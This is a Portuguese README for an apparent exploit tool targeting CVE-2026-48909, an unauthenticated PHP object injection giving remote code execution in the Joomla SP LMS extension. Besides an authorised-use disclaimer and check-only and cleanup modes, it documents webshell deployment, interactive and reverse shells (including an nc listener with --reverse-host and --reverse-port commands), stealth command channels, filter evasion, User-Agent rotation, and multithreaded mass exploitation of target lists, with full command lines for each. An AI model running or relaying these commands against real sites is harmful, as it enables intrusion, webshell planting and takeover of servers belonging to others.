[!IMPORTANT]
Uso autorizado apenas. Esta ferramenta destina-se a pesquisa em segurança, educação e teste de sistemas que você possui ou para os quais possui permissão explícita por escrito. O acesso não autorizado a sistemas informáticos é ilegal. O autor não assume qualquer responsabilidade por uso indevido.
Índice
Visão Geral
CVE-2026-48909 é uma Injeção de Objeto PHP não autenticada crítica na extensão SP LMS do Joomla. Esta ferramenta implementa a cadeia de ataque completa para que profissionais de segurança possam validar o impacto em ambientes de laboratório ou autorizados.
Ela cobre detecção, descoberta de caminhos, entrega de payload, pós-exploração interativa (quando permitido), avaliação em massa e limpeza opcional.
Detalhes da Vulnerabilidade
| Atributo | Valor |
|---|
| ID CVE | CVE-2026-48909 |
| CVSS | 9.5 (Crítico) |
| Vetor de Ataque | Rede — não autenticado |
| Impacto | Execução Remota de Código |
| Produto Afetado | Joomla SP LMS |
| Versões Afetadas | 1.0.0 – 4.1.3 |
| Versão Corrigida | SP LMS 4.1.4+ |
| Cadeia de Gadgets | Requer Joomla < 5.2.2 |
Matriz de Compatibilidade
| Componente | Versão | RCE |
|---|
| SP LMS | < 4.1.4 | Vulnerável |
| SP LMS | ≥ 4.1.4 | Corrigido |
| Joomla | < 5.2.2 | Cadeia de gadgets utilizável |
| Joomla | ≥ 5.2.2 | Cadeia de gadgets corrigida |
Funcionalidades
Núcleo
| Capacidade | Descrição |
|---|
| Exploit não autenticado | Nenhuma credencial necessária |
| Múltiplos payloads | 7 variantes de webshell / execução |
| Shell interativo | Sessão com histórico de comandos após implantação |
| Descoberta de caminho | Sondagem automática de caminhos graváveis |
| Limpeza | Remove webshell implantado após os testes |
Avaliação & Operações
| Capacidade | Descrição |
|---|
| Varredura em massa | Listas de alvos com múltiplas threads (1000+) |
| Suporte a proxy | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse shell | Payloads baseados em listener |
| Modo furtivo | Canais de comando via cabeçalho / POST |
| Randomização | Nomes de shell com UUID, rotação de User-Agent |
| Relatórios | Exportar como JSON, HTML ou CSV |
| Auxílios de detecção | Verificações de versão do Joomla, --check-only, --safe-mode |
Notas de Evasão
- Evita caracteres bloqueados pelo filtro
cmd do Joomla quando possível
- Caminho de escrita PHP codificado em hex para reduzir problemas com padding base64 / barras
- Atrasos configuráveis e rotação de User-Agents
- Lógica de retry em múltiplos candidatos de injeção / caminho
Instalação
Pré-requisitos
- Python 3.6+
pip
- Acessibilidade de rede ao(s) alvo(s) em teste
Configuração
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
Dependências
requests>=2.31.0
urllib3>=2.0.0
argparse acompanha a biblioteca padrão do Python; não precisa ser instalado via pip.
Início Rápido
Substitua https://target.example por um alvo de laboratório ou autorizado apenas.
Alvo único — descobrir caminho + shell interativo
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Verificações seguras (sem exploração)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Varredura em massa
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
Reverse shell (laboratório autorizado)
# Listener
nc -lvnp 4444
# Host do exploit
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
Guia de Uso
Descoberta de caminho
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
Caminho gravável conhecido
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
Sessão interativa
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Comando único
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Payload furtivo + interativo
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
Proxy (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
Limpeza
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
Referência de Comandos
Alvo
| Argumento | Descrição |
|---|
target | URL do alvo único |
--targets, -T FILE | Arquivo com alvos (uma URL por linha) |
--path PATH | Caminho absoluto no servidor para o webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nome do arquivo do webshell (padrão: x.php) |
Rede
| Argumento | Descrição |
|---|
--timeout SECONDS | Timeout da requisição (padrão: 15) |
--insecure | Ignorar verificação de certificado TLS |
--proxy URL | Ex.: http://127.0.0.1:8080 |
--random-ua | Rotacionar User-Agent (ativado por padrão) |
--delay SECONDS | Atraso entre requisições |
Reverse shell
| Argumento | Descrição |
|---|
--reverse-host HOST | Host do listener |
--reverse-port PORT | Porta do listener |
Modos
| Argumento | Descrição |
|---|
--interactive, -i | Shell interativo após implantação |
--check-only | Apenas verificação de vulnerabilidade |
--safe-mode | Teste não destrutivo |
--find-path | Descobrir automaticamente caminho gravável |
--cmd COMMAND | Executar um comando e sair |
--cleanup PATH | Remover webshell no caminho |
--cleanup-after | Limpar após exploração |
Varredura em massa / relatório